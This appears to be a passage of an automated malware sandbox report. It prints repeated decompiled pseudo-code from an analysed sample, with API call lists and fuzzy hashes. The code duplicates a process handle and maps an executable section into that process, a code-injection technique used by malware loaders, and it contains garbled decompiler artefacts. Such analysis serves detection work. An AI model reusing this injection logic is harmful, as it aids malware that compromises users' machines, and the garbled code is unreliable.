					 *((intOrPtr*)(_t139 + 4)) = 0;
					_t187 = _t200 - 0x28;
					 *((intOrPtr*)(_t137 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_t138 = _t200 - 0x30;
					_push(_t138);
					_push(_t187);
					_push(0x40);
					_push(_t200 - 0x10);
					if( *((intOrPtr*)(_t137 + 0x70))() == 0 && NtDuplicateObject( *(_t200 - 0x10), 0xffffffff, 0xffffffff, _t200 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t200 - 8)) = 0;
						_t107 = _t200 - 0x50;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						 *_t107 = 0x5000;
						_t188 = _t200 - 0x54;
						if(NtCreateSection(_t188, 6, 0, _t107, 4, 0x8000000, 0) == 0) {
							 *_t27 =  *(_t200 - 0x50);
							_t130 = _t200 - 0x44;
							 *_t130 = 0;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t130, 0, 0, 0, _t200 - 0x38, 1, 0, 4) == 0) {
								_t132 = _t200 - 0x3c;
								 *_t132 = 0;
								if(NtMapViewOfSection( *_t188,  *(_t200 - 0xc), _t132, 0, 0, 0, _t200 - 0x38, 1, 0, 4) == 0) {
									_t188 =  *(_t200 - 0x44);
									 *((intOrPtr*)(_t137 + 0x20))(0, _t188, 0x104);
									_t188[0x82] =  *(_t200 + 0x14);
									 *((intOrPtr*)(_t200 - 8)) =  *((intOrPtr*)(_t200 - 8)) + 1;
								}
							}
						}
						_t109 = _t200 - 0x50;
						_t138 =  *((intOrPtr*)(_t200 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t109 + 4)) = 0;
						while(1) {
							_t110 = _t109 + 0x89;
							 *(_t200 + 0x6857a875) =  *(_t200 + 0x6857a875) | _t138;
							 *_t110 =  *_t110 + _t110;
							 *_t110 =  *_t110 + _t138;
							_push(0x40);
							_push(_t110);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t188) != 0 ||  *((intOrPtr*)(_t200 - 8)) == 0) {
								goto L70;
							}
							 *_t49 =  *(_t200 - 0x50);
							_t112 = _t200 - 0x48;
							 *_t112 = 0;
							_t138 = _t200 - 0x38;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t112, 0, 0, 0, _t138, 1, 0, 4) == 0) {
								_t114 = _t200 - 0x40;
								 *_t114 = 0;
								_t138 = _t200 - 0x38;
								_t109 = NtMapViewOfSection( *_t188,  *(_t200 - 0xc), _t114, 0, 0, 0, _t138, 1, 0, 0x20);
								_t222 = _t109;
								if(_t222 == 0) {
									L25();
									if(_t222 == 0 && _t222 != 0) {
										asm("xlatb");
										if (_t222 <= 0) goto L20;
									}
								}
							}
							goto L70;
						}
					}
				}
				L70:
				_t98 = 0x1581;
				_t99 = _t137;
				_t137 = _t98;
				 *((intOrPtr*)(_t98 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t98 - 0x3b7cdbf4)) + _t138;
				_t98 = _t99 +  *_t99 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401551
0x00401551
0x00401551
0x0040155d
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401915
0x00401916
0x00401917
0x00401917
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 28ea46fc13f763aac8f675a7c9271a7bc130c0593d24ff884d0943e89b40d10a
Instruction ID: 353427f9681ca1b08edf8712e2c6a84d5c067b1d6b093b2a6d869afccc6b23d0
Opcode Fuzzy Hash: 28ea46fc13f763aac8f675a7c9271a7bc130c0593d24ff884d0943e89b40d10a
Instruction Fuzzy Hash: A1511B75900205BBEB209F91CC89FEF7BB8EF85B14F10422AF911BA2E5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040155A Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E0040155A(void* __eax, void* __esi) {
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr* _t99;
				struct _GUID _t107;
				long _t109;
				intOrPtr* _t110;
				PVOID* _t112;
				PVOID* _t114;
				PVOID* _t130;
				PVOID* _t132;
				void* _t136;
				long* _t138;
				intOrPtr* _t139;
				void* _t157;
				void* _t175;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				void* _t201;
				void* _t208;
				long _t223;

				asm("scasd");
				asm("popad");
				_t138 = 0x393;
				_t157 = 0xd4;
				E004011BD(__esi, _t136, 0x393, _t157, _t175, __eax, _t208);
				_t137 =  *((intOrPtr*)(_t201 + 8));
				 *((intOrPtr*)(_t201 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t201 - 0x34)) =  *((intOrPtr*)(_t201 - 0x34)) + 1;
				}
				while(1) {
					_t94 =  *((intOrPtr*)(_t137 + 0x48))();
					if(_t94 != 0) {
						break;
					}
					 *((intOrPtr*)(_t137 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t201 - 0x5c)) = _t94;
				_t187 = _t201 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t137 + 0x4c))(_t94, _t187);
				_t97 =  *_t187;
				if(_t97 != 0) {
					_t139 = _t201 - 0x30;
					 *_t139 = _t97;
					 *((intOrPtr*)(_t139 + 4)) = 0;
					_t188 = _t201 - 0x28;
					 *((intOrPtr*)(_t137 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_t138 = _t201 - 0x30;
					_push(_t138);
					_push(_t188);
					_push(0x40);
					_push(_t201 - 0x10);
					if( *((intOrPtr*)(_t137 + 0x70))() == 0 && NtDuplicateObject( *(_t201 - 0x10), 0xffffffff, 0xffffffff, _t201 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t201 - 8)) = 0;
						_t107 = _t201 - 0x50;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						 *_t107 = 0x5000;
						_t189 = _t201 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t107, 4, 0x8000000, 0) == 0) {
							 *_t26 =  *(_t201 - 0x50);
							_t130 = _t201 - 0x44;
							 *_t130 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t130, 0, 0, 0, _t201 - 0x38, 1, 0, 4) == 0) {
								_t132 = _t201 - 0x3c;
								 *_t132 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t201 - 0xc), _t132, 0, 0, 0, _t201 - 0x38, 1, 0, 4) == 0) {
									_t189 =  *(_t201 - 0x44);
									 *((intOrPtr*)(_t137 + 0x20))(0, _t189, 0x104);
									_t189[0x82] =  *(_t201 + 0x14);
									 *((intOrPtr*)(_t201 - 8)) =  *((intOrPtr*)(_t201 - 8)) + 1;
								}
							}
						}
						_t109 = _t201 - 0x50;
						_t138 =  *((intOrPtr*)(_t201 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t109 + 4)) = 0;
						while(1) {
							_t110 = _t109 + 0x89;
							 *(_t201 + 0x6857a875) =  *(_t201 + 0x6857a875) | _t138;
							 *_t110 =  *_t110 + _t110;
							 *_t110 =  *_t110 + _t138;
							_push(0x40);
							_push(_t110);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t189) != 0 ||  *((intOrPtr*)(_t201 - 8)) == 0) {
								goto L66;
							}
							 *_t48 =  *(_t201 - 0x50);
							_t112 = _t201 - 0x48;
							 *_t112 = 0;
							_t138 = _t201 - 0x38;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t112, 0, 0, 0, _t138, 1, 0, 4) == 0) {
								_t114 = _t201 - 0x40;
								 *_t114 = 0;
								_t138 = _t201 - 0x38;
								_t109 = NtMapViewOfSection( *_t189,  *(_t201 - 0xc), _t114, 0, 0, 0, _t138, 1, 0, 0x20);
								_t223 = _t109;
								if(_t223 == 0) {
									L21();
									if(_t223 == 0 && _t223 != 0) {
										asm("xlatb");
										if (_t223 <= 0) goto L16;
									}
								}
							}
							goto L66;
						}
					}
				}
				L66:
				_t98 = 0x1581;
				_t99 = _t137;
				_t137 = _t98;
				 *((intOrPtr*)(_t98 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t98 - 0x3b7cdbf4)) + _t138;
				_t98 = _t99 +  *_t99 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040155a
0x0040155b
0x0040155d
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401915
0x00401916
0x00401917
0x00401917
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7b0ad736dcd72423f638f070914a6247c3ba94349cda22773bfe2a99d5248937
Instruction ID: 408b83ad6e0913f92e5bbc2ac5f0e59f65e3299c6741f2ca25b675dea8f48126
Opcode Fuzzy Hash: 7b0ad736dcd72423f638f070914a6247c3ba94349cda22773bfe2a99d5248937
Instruction Fuzzy Hash: 4F510B75900205BBEB209F91CC88FAF7BB8EF85B14F104229F911BA2E5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00401564(void* __eax) {
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				struct _GUID _t106;
				long _t108;
				intOrPtr* _t109;
				PVOID* _t111;
				PVOID* _t113;
				PVOID* _t129;
				PVOID* _t131;
				void* _t135;
				long* _t137;
				intOrPtr* _t138;
				void* _t156;
				void* _t174;
				void* _t184;
				intOrPtr* _t185;
				intOrPtr* _t186;
				HANDLE* _t187;
				void* _t199;
				void* _t206;
				long _t221;

				_t90 = __eax + 1;
				_t206 = __eax + 1;
				_t137 = 0x393;
				_t156 = 0xd4;
				E004011BD(_t90, _t135, 0x393, _t156, _t174, _t184, _t206);
				_t136 =  *((intOrPtr*)(_t199 + 8));
				 *((intOrPtr*)(_t199 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t199 - 0x34)) =  *((intOrPtr*)(_t199 - 0x34)) + 1;
				}
				while(1) {
					_t93 =  *((intOrPtr*)(_t136 + 0x48))();
					if(_t93 != 0) {
						break;
					}
					 *((intOrPtr*)(_t136 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t199 - 0x5c)) = _t93;
				_t185 = _t199 - 0x60;
				 *_t185 = 0;
				 *((intOrPtr*)(_t136 + 0x4c))(_t93, _t185);
				_t96 =  *_t185;
				if(_t96 != 0) {
					_t138 = _t199 - 0x30;
					 *_t138 = _t96;
					 *((intOrPtr*)(_t138 + 4)) = 0;
					_t186 = _t199 - 0x28;
					 *((intOrPtr*)(_t136 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_t137 = _t199 - 0x30;
					_push(_t137);
					_push(_t186);
					_push(0x40);
					_push(_t199 - 0x10);
					if( *((intOrPtr*)(_t136 + 0x70))() == 0 && NtDuplicateObject( *(_t199 - 0x10), 0xffffffff, 0xffffffff, _t199 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t199 - 8)) = 0;
						_t106 = _t199 - 0x50;
						 *((intOrPtr*)(_t106 + 4)) = 0;
						 *_t106 = 0x5000;
						_t187 = _t199 - 0x54;
						if(NtCreateSection(_t187, 6, 0, _t106, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t199 - 0x50);
							_t129 = _t199 - 0x44;
							 *_t129 = 0;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t129, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
								_t131 = _t199 - 0x3c;
								 *_t131 = 0;
								if(NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t131, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
									_t187 =  *(_t199 - 0x44);
									 *((intOrPtr*)(_t136 + 0x20))(0, _t187, 0x104);
									_t187[0x82] =  *(_t199 + 0x14);
									 *((intOrPtr*)(_t199 - 8)) =  *((intOrPtr*)(_t199 - 8)) + 1;
								}
							}
						}
						_t108 = _t199 - 0x50;
						_t137 =  *((intOrPtr*)(_t199 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t108 + 4)) = 0;
						while(1) {
							_t109 = _t108 + 0x89;
							 *(_t199 + 0x6857a875) =  *(_t199 + 0x6857a875) | _t137;
							 *_t109 =  *_t109 + _t109;
							 *_t109 =  *_t109 + _t137;
							_push(0x40);
							_push(_t109);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t187) != 0 ||  *((intOrPtr*)(_t199 - 8)) == 0) {
								goto L67;
							}
							 *_t47 =  *(_t199 - 0x50);
							_t111 = _t199 - 0x48;
							 *_t111 = 0;
							_t137 = _t199 - 0x38;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t111, 0, 0, 0, _t137, 1, 0, 4) == 0) {
								_t113 = _t199 - 0x40;
								 *_t113 = 0;
								_t137 = _t199 - 0x38;
								_t108 = NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t113, 0, 0, 0, _t137, 1, 0, 0x20);
								_t221 = _t108;
								if(_t221 == 0) {
									L22();
									if(_t221 == 0 && _t221 != 0) {
										asm("xlatb");
										if (_t221 <= 0) goto L17;
									}
								}
							}
							goto L67;
						}
					}
				}
				L67:
				_t97 = 0x1581;
				_t98 = _t136;
				_t136 = _t97;
				 *((intOrPtr*)(_t97 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t97 - 0x3b7cdbf4)) + _t137;
				_t97 = _t98 +  *_t98 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401564
0x00401564
0x0040155d
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401915
0x00401916
0x00401917
0x00401917
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c0224ca73386a5b758005c9f9a4e63412d740fa453daccb7ed0abea9724c6841
Instruction ID: 90f08ec445cbe98008d26f566738419331c53eaa7457057c2bfce7b7b040d814
Opcode Fuzzy Hash: c0224ca73386a5b758005c9f9a4e63412d740fa453daccb7ed0abea9724c6841
Instruction Fuzzy Hash: 04510B75900205BBEB209F91CC88FAF7BB8FF85714F104229F911BA2E5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401568 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00401568() {
				void* _t89;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				void* _t134;
				long* _t136;
				intOrPtr* _t137;
				void* _t155;
				void* _t173;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr* _t185;
				HANDLE* _t186;
				void* _t198;
				void* _t205;
				long _t220;

				asm("into");
				_t155 = 0xd4;
				E004011BD(_t89, _t134, _t136, _t155, _t173, _t183, _t205);
				_t135 =  *((intOrPtr*)(_t198 + 8));
				 *((intOrPtr*)(_t198 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t198 - 0x34)) =  *((intOrPtr*)(_t198 - 0x34)) + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t135 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t135 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t198 - 0x5c)) = _t92;
				_t184 = _t198 - 0x60;
				 *_t184 = 0;
				 *((intOrPtr*)(_t135 + 0x4c))(_t92, _t184);
				_t95 =  *_t184;
				if(_t95 != 0) {
					_t137 = _t198 - 0x30;
					 *_t137 = _t95;
					 *((intOrPtr*)(_t137 + 4)) = 0;
					_t185 = _t198 - 0x28;
					 *((intOrPtr*)(_t135 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t136 = _t198 - 0x30;
					_push(_t136);
					_push(_t185);
					_push(0x40);
					_push(_t198 - 0x10);
					if( *((intOrPtr*)(_t135 + 0x70))() == 0 && NtDuplicateObject( *(_t198 - 0x10), 0xffffffff, 0xffffffff, _t198 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t198 - 8)) = 0;
						_t105 = _t198 - 0x50;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t186 = _t198 - 0x54;
						if(NtCreateSection(_t186, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t198 - 0x50);
							_t128 = _t198 - 0x44;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t128, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
								_t130 = _t198 - 0x3c;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t130, 0, 0, 0, _t198 - 0x38, 1, 0, 4) == 0) {
									_t186 =  *(_t198 - 0x44);
									 *((intOrPtr*)(_t135 + 0x20))(0, _t186, 0x104);
									_t186[0x82] =  *(_t198 + 0x14);
									 *((intOrPtr*)(_t198 - 8)) =  *((intOrPtr*)(_t198 - 8)) + 1;
								}
							}
						}
						_t107 = _t198 - 0x50;
						_t136 =  *((intOrPtr*)(_t198 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							 *(_t198 + 0x6857a875) =  *(_t198 + 0x6857a875) | _t136;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t136;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t186) != 0 ||  *((intOrPtr*)(_t198 - 8)) == 0) {
								goto L65;
							}
							 *_t47 =  *(_t198 - 0x50);
							_t110 = _t198 - 0x48;
							 *_t110 = 0;
							_t136 = _t198 - 0x38;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t110, 0, 0, 0, _t136, 1, 0, 4) == 0) {
								_t112 = _t198 - 0x40;
								 *_t112 = 0;
								_t136 = _t198 - 0x38;
								_t107 = NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t112, 0, 0, 0, _t136, 1, 0, 0x20);
								_t220 = _t107;
								if(_t220 == 0) {
									L20();
									if(_t220 == 0 && _t220 != 0) {
										asm("xlatb");
										if (_t220 <= 0) goto L15;
									}
								}
							}
							goto L65;
						}
					}
				}
				L65:
				_t96 = 0x1581;
				_t97 = _t135;
				_t135 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t136;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401568
0x00401574
0x0040157c
0x00401581
0x00401586
0x0040158f
0x00401591
0x00401591
0x00401594
0x00401594
0x00401599
0x00000000
0x00000000
0x004018c4
0x004018c4
0x0040159f
0x004015a2
0x004015a5
0x004015a9
0x004015ac
0x004015b0
0x004015b6
0x004015b9
0x004015bb
0x004015be
0x004015c4
0x004015c7
0x004015cf
0x004015d5
0x004015d6
0x004015d7
0x004015d9
0x004015df
0x00401602
0x00401605
0x00401608
0x0040160b
0x00401611
0x00401626
0x0040162b
0x0040162e
0x00401631
0x00401649
0x0040164b
0x0040164e
0x00401667
0x00401669
0x00401673
0x00401679
0x0040167f
0x0040167f
0x00401667
0x00401649
0x00401682
0x00401688
0x0040168e
0x00401690
0x00401690
0x00401692
0x00401698
0x0040169a
0x0040169c
0x0040169e
0x0040169f
0x004016a0
0x004016a8
0x00000000
0x00000000
0x004016bb
0x004016be
0x004016c1
0x004016c3
0x004016d9
0x004016df
0x004016e2
0x004016e4
0x004016f6
0x004016f9
0x004016fb
0x00401701
0x00401706
0x0040170a
0x0040170b
0x0040170b
0x0040170c
0x004016fb
0x00000000
0x004016d9
0x00401690
0x004015df
0x004018bd
0x004018d6
0x004018e5
0x004018e5
0x004018e8
0x004018f0
0x00401902
0x00401905
0x0040190f
0x00401910
0x00401915
0x00401916
0x00401917
0x00401917
0x00401918

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 579ab89eb62fb7bd98f0da5a88d0c5aa70306928dcef38f677cb0963ea8c8e6a
Instruction ID: 1d83ed718b3d8f73ad22f5b98cfb14e955660f873ce3eefd52a1c4960fa86b46
Opcode Fuzzy Hash: 579ab89eb62fb7bd98f0da5a88d0c5aa70306928dcef38f677cb0963ea8c8e6a
Instruction Fuzzy Hash: FB510A75900205BBEF209F91CC88FAF7BB8FF85B14F104219FA11BA2A5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040156E Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E0040156E(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t89;
